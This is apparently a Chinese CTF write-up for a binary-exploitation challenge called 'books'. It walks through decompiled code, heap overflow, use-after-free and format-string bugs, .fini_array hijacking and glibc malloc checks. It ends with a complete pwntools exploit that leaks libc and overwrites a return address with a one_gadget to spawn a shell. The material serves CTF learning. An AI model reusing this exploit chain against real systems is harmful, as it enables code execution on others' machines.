C 库函数 char *gets(char *str) 从标准输入 stdin 读取一行,并把它存储在 str 所指向的字符串中。当读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。
C 库函数 int puts(const char *str) 把一个字符串写入到标准输出 stdout,直到空字符,但不包括空字符。换行符会被追加到输出中。
signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-BCh]
char *v5; // [rsp+8h] [rbp-B8h]
char *first_order; // [rsp+18h] [rbp-A8h]
char *second_order; // [rsp+20h] [rbp-A0h]
char *dest; // [rsp+28h] [rbp-98h]
char s[136]; // [rsp+30h] [rbp-90h] BYREF
unsigned __int64 v10; // [rsp+B8h] [rbp-8h]
v10 = __readfsqword(0x28u);
first_order = (char *)malloc(0x80uLL);
second_order = (char *)malloc(0x80uLL);
dest = (char *)malloc(0x80uLL);
if ( !first_order || !second_order || !dest )
{
fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
return 1LL;
}
v4 = 0;
puts(
" _____ _ _ _ _ _ \n"
"/__ \\_____ _| |_| |__ ___ ___ | | __ ___| |_ ___ _ __ ___ / \\\n"
" / /\\/ _ \\ \\/ / __| '_ \\ / _ \\ / _ \\| |/ / / __| __/ _ \\| '__/ _ \\/ /\n"
" / / | __/> <| |_| |_) | (_) | (_) | < \\__ \\ || (_) | | | __/\\_/ \n"
" \\/ \\___/_/\\_\\\\__|_.__/ \\___/ \\___/|_|\\_\\ |___/\\__\\___/|_| \\___\\/ \n"
"Crappiest and most expensive books for your college education!\n"
"\n"
"We can order books for you in case they're not in stock.\n"
"Max. two orders allowed!\n");
LABEL_14:
while ( !v4 )
{
puts("1: Edit order 1");
puts("2: Edit order 2");
puts("3: Delete order 1");
puts("4: Delete order 2");
puts("5: Submit");
fgets(s, 128, stdin);
switch ( s[0] )
{
case '1':
puts("Enter first order:");
edit_order(first_order);
strcpy(dest, "Your order is submitted!\n");
goto LABEL_14;
case '2':
puts("Enter second order:");
edit_order(second_order);
strcpy(dest, "Your order is submitted!\n");
goto LABEL_14;
case '3':
delete_order(first_order);
goto LABEL_14;
case '4':
delete_order(second_order);
goto LABEL_14;
case '5':
v5 = (char *)malloc(0x140uLL);
if ( !v5 )
{
fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
return 1LL;
}
submit(v5, first_order, second_order);
v4 = 1;
break;
default:
goto LABEL_14;
}
}
printf("%s", v5);
printf(dest);
return 0LL;
}
功能选择前就已经先创建三个大小为0x80的堆了(对于chunk的size为0x90),第一个chunk是order1的内容,第二个chunk是order2的内容,第三个chunk是dest的内容(这个存储字符串的),然后根据输入对应其功能函数,对应功能5的函数会创建一个0x140的堆(对于chunk的size为0x150),然后把之前函数定义的两个order的内容组合再加一个Your order is submitted!\n的字符串
unsigned __int64 __fastcall edit_order(char *a1)
{
int idx; // eax
int v3; // [rsp+10h] [rbp-10h]
int cnt; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
v3 = 0;
cnt = 0;
while ( v3 != '\n' )
{
v3 = fgetc(stdin);
idx = cnt++;
a1[idx] = v3;
}
a1[cnt - 1] = 0;
return __readfsqword(0x28u) ^ v5;
}
没有限制的输入长度,可以一直输入直到有换行符,并将换行符改为0
unsigned __int64 __fastcall delete_order(void *a1)
{
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
free(a1);
return __readfsqword(0x28u) ^ v2;
}
直接free但是没有清空,存在use after free
unsigned __int64 __fastcall submit(char *all, const char *order1, char *order2)
{
size_t v3; // rax
size_t v4; // rax
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
strcpy(all, "Order 1: ");
v3 = strlen(order1);
strncat(all, order1, v3);
strcat(all, "\nOrder 2: ");
v4 = strlen(order2);
strncat(all, order2, v4);
*(_WORD *)&all[strlen(all)] = '\n';
return __readfsqword(0x28u) ^ v7;
}
提交,此时将各个order的字符串和使用功能1或2时就已经赋值到dest里的字符串内容组合,再赋值到dest
.fini_array段劫持资料参考
大多数可执行文件是通过链接 libc 来进行编译的,因此 gcc 会将 glibc 初始化代码放入编译好的可执行文件和共享库中。 .init_array和 .fini_array 节(早期版本被称为 .ctors和 .dtors )中存放了指向初始化代码和终止代码的函数指针。 .init_array 函数指针会在 main() 函数调用之前触发。这就意味着,可以通过重写某个指向正确地址的指针来将控制流指向病毒或者寄生代码。 .fini_array 函数指针在 main() 函数执行完之后才被触发,在某些场景下这一点会非常有用。例如,特定的堆溢出漏洞(如曾经的 Once upon a free())会允许攻击者在任意位置写4个字节,攻击者通常会使用一个指向 shellcode 地址的函数指针来重写.fini_array 函数指针。对于大多数病毒或者恶意软件作者来说, .init_array 函数指针是最常被攻击的目标,因为它通常可以使得寄生代码在程序的其他部分执行之前就能够先运行。
构造函数(constructors)和析构函数(destructors)。程序员应当使用类似下面的方式来指定这些属性:
带有”构造函数”属性的函数将在main()函数之前被执行,而声明为”析构函数”属性的函数则将在after main()退出时执行。
#include
#include
static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));
int main(int argc, char *argv[])
{
printf("start == %p\n", start);
printf("stop == %p\n", stop);
return 0;
}
void start(void)
{
printf("hello world!\n");
}
void stop(void)
{
printf("goodbye world!\n");
}
在gdb中利用readelf查看对应的.ini_array段和.fini_array段,以及存储的函数指针
分析一下结果
.init_array存的 0x1160是 frame_dummy函数地址(ida里面可查看) 0x11bf,是自己定义的start函数的地址,也就是说main函数开始之前会先执行 frame_dummy函数和start函数
.fini_array存的 0x1120是 __do_global_dtors_aux函数地址(ida里面可查看) 0x11d9,是自己定义的stop函数的地址,也就是说main函数结束之后会执行 __do_global_dtors_aux函数和stop函数
假设此时取消定义的属性
#include
#include
static void start(void) ;
static void stop(void) ;
int main(int argc, char *argv[])
{
printf("start == %p\n", start);
printf("stop == %p\n", stop);
return 0;
}
void start(void)
{
printf("hello world!\n");
}
void stop(void)
{
printf("goodbye world!\n");
}
此时.ini_array和.fini_array都只有一个函数指针,.ini_array是 frame_dummy函数地址(ida里面可查看),fini_array是 __do_global_dtors_aux函数地址(ida里面可查看)
明显溢出,而且长度任意,那么可以修改其他chunk的header和内容
如图,利用editor 2时写入0x80个字节覆盖满chunk2,多余的内容覆盖到chunk3的header处从而修改
但是我们先要得到libc地址,那么得调用输出函数才行,这里可以修改got表从而调用到想用的函数,而且还需要修改其参数,那么首先要有根据指针修改其内容的函数,先要修改指针为got地址,然后才能修改其got表,但指针没办法修改,堆指针在栈上。所以只能找其他办法。
发现有个格式化字符串漏洞,但是在循环外,也就必须submit后才会执行该函数。又因为editor修改会在dest的位置复制一个字符串,所以当溢出设置格式化字符串时要提前空出这个后面要复制的字符串的长度。然后才是格式化字符串。但此时发现优于strcpy时会将空字符也复制进入,所以导致后面的内容无效,所以此方法还是不行。还得是再次找到机会重写dest
此时需要利用到chunk extend方法了
先free第二个堆,再修改第一个堆溢出从而修改第二个堆的header,然后调用submit使得malloc。当然也可以先修改第一个堆溢出修改第二个堆的header,然后free第二个堆,然后调用submit使得malloc
这样能够submit得到的堆是第二个堆,并且其大小覆盖到了dest这个堆,从而可以修改格式化字符串
free之前对chunk做各种check,总而言之就是不能double free和通过size计算的下一个chunk的得确实是一个malloc得到的chunk,那malloc时,会对该unsortedbin中的chunk的前后做合并尝试,首先通过prev_inuse来决定是否先前合并,如果为1即可不合并,同样,如果下一个chunk正在被使用的话,就没有向后合并的操作了(检查下一个chunk的下一个chunk的prev_inuse位)
所以此时溢出的prev_size大小为0也不影响,如果先free的话,这些free前的检查都不用考虑,只需如何修改使得malloc得到0x140的堆为第二个chunk,但如果是先修改再free,此时面对的各个检查比较繁琐,还需构造下一个chunk,所以采用先free再修改,此时对应的从unsortedbin的remalloc
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
# define check_malloced_chunk(A, P, N) do_check_malloced_chunk (A, P, N)
static void
do_check_malloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{
/* same as recycled case ... */
do_check_remalloced_chunk (av, p, s);
/*
... plus, must obey implementation invariant that prev_inuse is
always true of any allocated chunk; i.e., that each allocated
chunk borders either a previously allocated and still in-use
chunk, or the base of its memory arena. This is ensured
by making all allocations from the `lowest' part of any found
chunk. This does not necessarily hold however for chunks
recycled via fastbins.
*/
assert (prev_inuse (p));
}
static void
do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{
INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);
if (!chunk_is_mmapped (p))
{
assert (av == arena_for_chunk (p));
if (chunk_non_main_arena (p))
assert (av != &main_arena);
else
assert (av == &main_arena);
}
do_check_inuse_chunk (av, p);
/* Legal size ... */
assert ((sz & MALLOC_ALIGN_MASK) == 0);
assert ((unsigned long) (sz) >= MINSIZE);
/* ... and alignment */
assert (aligned_OK (chunk2mem (p)));
/* chunk is less than MINSIZE more than request */
assert ((long) (sz) - (long) (s) >= 0);
assert ((long) (sz) - (long) (s + MINSIZE) < 0);
}
/*
Properties of nonrecycled chunks at the point they are malloced
*/
static void
do_check_inuse_chunk (mstate av, mchunkptr p)
{
mchunkptr next;
do_check_chunk (av, p);
if (chunk_is_mmapped (p))
return; /* mmapped chunks have no next/prev */
/* Check whether it claims to be in use ... */
assert (inuse (p));
next = next_chunk (p);
/* ... and is surrounded by OK chunks.
Since more things can be checked with free chunks than inuse ones,
if an inuse chunk borders them and debug is on, it's worth doing them.
*/
if (!prev_inuse (p))
{
/* Note that we cannot even look at prev unless it is not inuse */
mchunkptr prv = prev_chunk (p);
assert (next_chunk (prv) == p);
do_check_free_chunk (av, prv);
}
if (next == av->top)
{
assert (prev_inuse (next));
assert (chunksize (next) >= MINSIZE);
}
else if (!inuse (next))
do_check_free_chunk (av, next); 这个检查应该使得无法利用的,不知道为啥可以利用成功
}
可以发现下一个chunk的inuse位为0
下一个chunk应该是不能通过do_check_free_chunk (av, next);
不知道为啥
static void
do_check_chunk (mstate av, mchunkptr p)
{
unsigned long sz = chunksize (p);
/* min and max possible addresses assuming contiguous allocation */
char *max_address = (char *) (av->top) + chunksize (av->top);
char *min_address = max_address - av->system_mem;
if (!chunk_is_mmapped (p))
{
/* Has legal address ... */
if (p != av->top)
{
if (contiguous (av))
{
assert (((char *) p) >= min_address);
assert (((char *) p + sz) <= ((char *) (av->top)));
}
}
else
{
/* top size is always at least MINSIZE */
assert ((unsigned long) (sz) >= MINSIZE);
/* top predecessor always marked inuse */
assert (prev_inuse (p));
}
}
else
{
/* address is outside main heap */
if (contiguous (av) && av->top != initial_top (av))
{
assert (((char *) p) < min_address || ((char *) p) >= max_address);
}
/* chunk is page-aligned */
assert (((p->prev_size + sz) & (GLRO (dl_pagesize) - 1)) == 0);
/* mem is aligned */
assert (aligned_OK (chunk2mem (p)));
}
}
static void
do_check_free_chunk (mstate av, mchunkptr p)
{
INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);
mchunkptr next = chunk_at_offset (p, sz);
do_check_chunk (av, p);
/* Chunk must claim to be free ... */
assert (!inuse (p));
assert (!chunk_is_mmapped (p));
/* Unless a special marker, must have OK fields */
if ((unsigned long) (sz) >= MINSIZE)
{
assert ((sz & MALLOC_ALIGN_MASK) == 0);
assert (aligned_OK (chunk2mem (p)));
/* ... matching footer field */
assert (next->prev_size == sz);
/* ... and is fully consolidated */
assert (prev_inuse (p));
assert (next == av->top || inuse (next));
/* ... and has minimally sane links */
assert (p->fd->bk == p);
assert (p->bk->fd == p);
}
else /* markers are always of size SIZE_SZ */
assert (sz == SIZE_SZ);
}
格式化字符串是啥呢
首先我们要知道我们第一次格式化字符串漏洞执行时需要泄露函数地址从而得到基地址,但如果要根据基地址修改这个函数got表的内容得需要下一次格式化字符串漏洞。所以还需要执行一次格式化字符串漏洞
这里利用修改.fini_array地址处的函数使得函数还能执行main函数一次
程序退出后会执行
.fini_array
地址处的函数,不过只能利用一次。
但由于只能利用一次(因为执行完.fini_array`的函数就退出了),但修改函数got表的内容后还需要执行该函数才行,而此时修改函数got表内容已经是跳出循环了,所以我们还需要尝试修改返回地址。要想返回地址,可以提前在栈上准备好数据,然后利用printf格式化字符串漏洞的写入功能,但需要提前得到返回地址
那如何得到返回地址呢?只能利用第一次printf的格式化字符串漏洞了,返回地址在栈上的位置是随机的,所以我们需要找一个存储与返回地址有固定偏移的地址的栈地址,可以通过泄露该栈地址的内容然后通过偏移得到第一次main函数返回地址在栈上的地址
注意此时需要得到的返回地址为第二次调用main函数的,所以还得需要偏移一次,这个可以通过程序从某一行执行到某一行,它的栈顶的变化是一定的。所以我们也可以通过main函数的要执行ret指令时的栈顶和开始执行第二次main函数的ret指令的栈顶的偏移是固定的(因为每次这样执行即执行main函数后会执行.fini_array的main函数,两个ret之间执行的代码一样,所以栈顶的变化也一样)
Python2.6 开始,新增了一种格式化字符串的函数 str.format(),它增强了字符串格式化的功能。
基本语法是通过 {} 和 : 来代替以前的 % 。
format 函数可以接受不限个参数,位置可以不按顺序。
>>>"{} {}".format("hello", "world") # 不设置指定位置,按默认顺序
'hello world'
>>> "{0} {1}".format("hello", "world") # 设置指定位置
'hello world'
>>> "{1} {0} {1}".format("hello", "world") # 设置指定位置
'world hello world'
1.首先利用写入时的溢出将下一位下一个chunk的size位修改,同时预备好参数/bin/sh(在在调用free的参数所指向的位置)
2.然后利用free后再次malloc得到实现extend (注意隐藏的malloc顺序和free顺序)
3.然后将freegot表中的值 覆盖将会进行 取指针对应内容的 某指针
4.首先打印,此时会输出free got表中的值(即存储free函数地址变量地址)
5.利用got地址-libc.symbols[‘free’]得到libc基址
6.最后利用基址+libc.symbols[‘system’](偏移)得到system地址
7.最后修改got表对应的内容为system的地址
8最后调用free 某参数即可getshell
from pwn import *
p = process('./books')
context.log_level = 'debug'
elf = ELF('./books')
libc = ELF('libc.so')
def edit1(content) :
sleep(0.1)
p.sendline('1')
p.recvuntil('Enter first order:\n')
p.sendline(content)
def edit2(content) :
sleep(0.1)
p.sendline('2')
p.recvuntil('Enter second order:\n')
p.sendline(content)
def delete1() :
sleep(0.1)
p.sendline('3')
def delete2() :
sleep(0.1)
p.sendline('4')
def submit() :
sleep(0.1)
p.sendline('5')
free_got = elf.got['free']
fini_array = 0x6011B8
main_addr = 0x400A39
delete2()
payload = "%"+str(2617)+"c%13$hn" + '.%31$p' + ',%28$p'
payload += 'A'*(0x74-len(payload))
payload += p8(0x0)*(0x88-len(payload))
payload += p64(0x151)
edit1(payload)
payload2 = '5'+p8(0x0)*7 + p64(fini_array)
p.sendline(payload2)
#leak --> libc_base
p.recvuntil('\x2e')
p.recvuntil('\x2e')
p.recvuntil('\x2e')
data = p.recv(14)
p.recvuntil(',')
ret_addr = p.recv(14)
data = int(data,16) - 240
ret_addr = int(ret_addr,16) + 0x28 - 0x210
libc_base = data - libc.symbols['__libc_start_main']
log.success('ret_addr :'+hex(ret_addr))
#repeat --> change ret_addr --> system_addr(one_gadget)
one_shot = libc_base + 0x45216
print hex(one_shot)
one_shot1 = '0x'+str(hex(one_shot))[-2:]
one_shot2 = '0x'+str(hex(one_shot))[-6:-2]
print one_shot1,one_shot2
one_shot1 = int(one_shot1,16)
one_shot2 = int(one_shot2,16)
delete2()
payload3 = "%" + str(one_shot1) + "d%13$hhn"
payload3 += '%' + str(one_shot2-one_shot1) + 'd%14$hn'
payload3 += 'A'*(0x74-len(payload3))
payload3 += p8(0x0)*(0x88-len(payload3))
payload3 += p64(0x151)
edit1(payload3)
payload4 = '5' + p8(0x0)*7 + p64(ret_addr) + p64(ret_addr+1)
p.sendline(payload4)
p.interactive()